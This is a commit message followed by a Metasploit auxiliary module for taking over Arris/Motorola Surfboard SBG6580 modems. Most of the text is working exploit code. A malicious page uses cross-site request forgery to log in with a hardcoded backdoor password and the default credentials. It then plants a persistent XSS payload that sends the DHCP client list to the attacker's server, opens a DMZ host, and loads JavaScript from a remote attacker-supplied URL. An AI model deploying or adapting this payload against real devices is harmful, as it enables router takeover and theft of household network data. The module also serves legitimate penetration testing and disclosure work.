Adding module for R7-2015-01
Disclosure coming soon, will update this module with a pointer to the correct reference.bug/bundler_fix
Tod Beardsley
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b22ff676e2
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7ed1655976
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Arris / Motorola Surfboard SBG6580 Web Interface Takeover',
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'Description' => %q{
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The web interface for the Arris / Motorola Surfboard SBG6580 has
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several vulnerabilities that, when combined, allow an arbitrary website to take
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control of the modem, even if the user is not currently logged in. The attacker
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must successfully know, or guess, the target's internal gateway IP address.
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This is usually a default value of 192.168.0.1.
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First, a hardcoded backdoor account was discovered in the source code
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of one device with the credentials "technician/yZgO8Bvj". Due to lack of CSRF
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in the device's login form, these credentials - along with the default
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"admin/motorola" - can be sent to the device by an arbitrary website, thus
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inadvertently logging the user into the router.
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Once successfully logged in, a persistent XSS vulnerability is
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exploited in the firewall configuration page. This allows injection of
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Javascript that can perform any available action in the router interface.
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The following firmware versions have been tested as vulnerable:
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SBG6580-6.5.2.0-GA-06-077-NOSH, and
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SBG6580-8.6.1.0-GA-04-098-NOSH
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},
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'Author' => [ 'joev' ],
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'DisclosureDate' => 'Apr 08 2015',
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'License' => MSF_LICENSE,
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'Actions' => [ [ 'WebServer' ] ],
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'PassiveActions' => [ 'WebServer' ],
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'DefaultAction' => 'WebServer',
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'References' => [
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[ 'CVE', '2015-0964' ], # XSS vulnerability
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[ 'CVE', '2015-0965' ], # CSRF vulnerability
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[ 'CVE', '2015-0966' ] # "techician/yZgO8Bvj" web interface backdoor
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]
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))
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register_options([
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OptString.new('DEVICE_IP', [
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false,
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"Internal IP address of the vulnerable device.",
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'192.168.0.1'
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]),
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OptString.new('LOGINS', [
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false,
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"Comma-separated list of user/pass combinations to attempt.",
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'technician/yZgO8Bvj,admin/motorola'
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]),
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OptBool.new('DUMP_DHCP_LIST', [
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true,
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"Dump the MAC, IP, and hostnames of all registered DHCP clients.",
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true
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]),
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OptInt.new('SET_DMZ_HOST', [
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false,
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"The final octet of the IP address to set in the DMZ (1-255).",
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nil
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]),
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OptString.new('BLOCK_INTERNET_ACCESS', [
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false,
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"Comma-separated list of IP addresses to block internet access for.",
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''
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]),
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OptString.new('CUSTOM_JS', [
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false,
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"A string of javascript to execute in the context of the device web interface.",
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''
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]),
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OptString.new('REMOTE_JS', [
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false,
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"A URL to inject into a script tag in the context of the device web interface.",
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''
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])
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], self.class)
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end
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def run
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if datastore['SET_DMZ_HOST']
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dmz_host = datastore['SET_DMZ_HOST'].to_i
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if dmz_host < 1 || dmz_host > 255
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raise ArgumentError, "DMZ host must be an integer between 1 and 255."
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end
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end
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exploit
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end
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def on_request_uri(cli, request)
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if request.method =~ /post/i
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file = store_loot(
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"dhcp.clients", "text/json", cli.peerhost,
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request.body, "arris_surfboard_xss", "DHCP client list gathered from modem"
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)
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print_good "Dumped DHCP client list from #{cli.peerhost}"
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print_good file
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elsif request.uri =~ /\/dmz$/i
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print_good "DMZ host successfully reset to #{datastore['SET_DMZ_HOST']}."
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send_response_html(cli, '')
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else
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send_response_html(cli, exploit_html)
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end
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end
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def set_dmz_host_js
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return '' unless datastore['SET_DMZ_HOST'].present?
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%Q|
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var x = new XMLHttpRequest;
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x.open('POST', '/goform/RgDmzHost.pl');
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x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
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x.send('DmzHostIP3=#{datastore['SET_DMZ_HOST']}');
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top.postMessage(JSON.stringify({type:'dmz',done:true}), '*');
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end
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def dump_dhcp_list_js
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return '' unless datastore['DUMP_DHCP_LIST']
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%Q|
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var f = document.createElement('iframe');
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f.src = '/RgDhcp.asp';
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f.onload = function() {
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var mac = f.contentDocument.querySelector('input[name="dhcpmacaddr1"]');
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var rows = [];
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if (mac) {
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var tr = mac.parentNode.parentNode;
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while (tr) {
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if (tr.tagName === 'TR' && !tr.querySelector('input[type="Submit"]')) {
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var tds = [].slice.call(tr.children);
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var row = [];
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rows.push(row);
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for (var i in tds) {
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row.push(tds[i].innerText);
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}
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}
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tr = tr.nextSibling;
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}
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}
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if (rows.length > 0) {
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top.postMessage(JSON.stringify({type:'dhcp',rows:rows}), '*');
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document.body.removeChild(f);
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}
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};
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document.body.appendChild(f);
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end
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def exploit_js
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[
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dump_dhcp_list_js,
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set_dmz_host_js,
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custom_js
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].join("\n")
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end
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def exploit_html
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<<-EOS
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<!doctype html>
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<html>
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<body>
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<script>
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window.onmessage = function(e) {
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var data = JSON.parse(e.data);
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if (data.type == 'dhcp') {
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var rows = JSON.stringify(data.rows);
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var xhr = new XMLHttpRequest();
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xhr.open('POST', '#{get_uri}/collect');
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xhr.send(rows);
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} else if (data.type == 'dmz') {
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var xhr = new XMLHttpRequest();
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xhr.open('GET', '#{get_uri}/dmz');
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xhr.send();
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}
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}
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var js = (#{JSON.generate({ js: exploit_js })}).js;
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var HIDDEN_STYLE =
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'position:absolute;left:-9999px;top:-9999px;';
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function exploit(hosts, logins) {
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for (var idx in hosts) {
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buildImage(hosts[idx]);
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}
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function buildImage(host) {
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var img = new Image();
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img.src = host + '/images/px1_Ux.png';
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img.setAttribute('style', HIDDEN_STYLE);
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img.onload = function() {
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if (img.width === 1 && img.height === 1) {
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deviceFound(host, img);
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}
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img.parentNode.removeChild(img);
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};
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img.onerror = function() {
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img.src = host + '/logo_new.gif';
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img.onload = function() {
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if (img.width === 176 && img.height === 125) {
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deviceFound(host, img);
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}
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}
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img.onerror = function() {
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img.parentNode.removeChild(img);
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};
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};
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document.body.appendChild(img);
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}
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function deviceFound(host, img) {
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// but also lets attempt to log the user in with every login
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var count = 0;
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for (var idx in logins) {
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attemptLogin(host, logins[idx], function() {
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if (++count >= logins.length) {
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attemptExploit(host);
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}
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})
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}
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}
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function attemptExploit(host) {
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var form = document.createElement('form');
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form.setAttribute('style', HIDDEN_STYLE);
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form.setAttribute('method', 'POST');
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form.setAttribute('action', host+'/goform/RgFirewallEL')
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document.body.appendChild(form);
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var inputs = [];
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var inputNames = [
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'EmailAddress', 'SmtpServerName', 'SmtpUsername',
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'SmtpPassword', 'LogAction'
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];
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var input;
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for (var idx in inputNames) {
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input = document.createElement('input');
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input.setAttribute('type', 'hidden');
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input.setAttribute('name', inputNames[idx]);
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form.appendChild(input);
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inputs.push(input)
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}
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inputs[0].setAttribute('value', '<script>@a.com<script>eval(window.name);<\\/script>');
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inputs[inputs.length-1].setAttribute('value', '0');
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var iframe = document.createElement('iframe');
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iframe.setAttribute('style', HIDDEN_STYLE);
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window.id = window.id || 1;
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var name = '/*abc'+(window.id++)+'*/ '+js;
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iframe.setAttribute('name', name);
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document.body.appendChild(iframe);
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form.setAttribute('target', name);
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form.submit();
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setTimeout(function() {
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iframe.removeAttribute('sandbox');
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iframe.src = host+'/RgFirewallEL.asp';
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}, 1000);
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}
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function attemptLogin(host, login, cb) {
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try {
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var xhr = new XMLHttpRequest();
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xhr.open('POST', host+'/goform/login');
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xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
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xhr.send('loginUsername='+encodeURIComponent(login[0])+
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'&loginPassword='+encodeURIComponent(login[1]));
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xhr.onerror = function() {
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cb && cb();
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cb = null;
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}
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} catch(e) {};
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}
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}
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var logins = (#{JSON.generate({ logins: datastore['LOGINS'] })}).logins;
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var combos = logins.split(',');
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var splits = [], s = '';
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for (var i in combos) {
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s = combos[i].split('/');
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splits.push([s[0], s[1]]);
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}
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exploit(['http://#{datastore['DEVICE_IP']}'], splits);
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</script>
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</body>
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</html>
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EOS
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end
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def custom_js
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rjs_hook + datastore['CUSTOM_JS']
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end
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def rjs_hook
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remote_js = datastore['REMOTE_JS']
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if remote_js.present?
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"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "
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else
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''
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end
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end
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end
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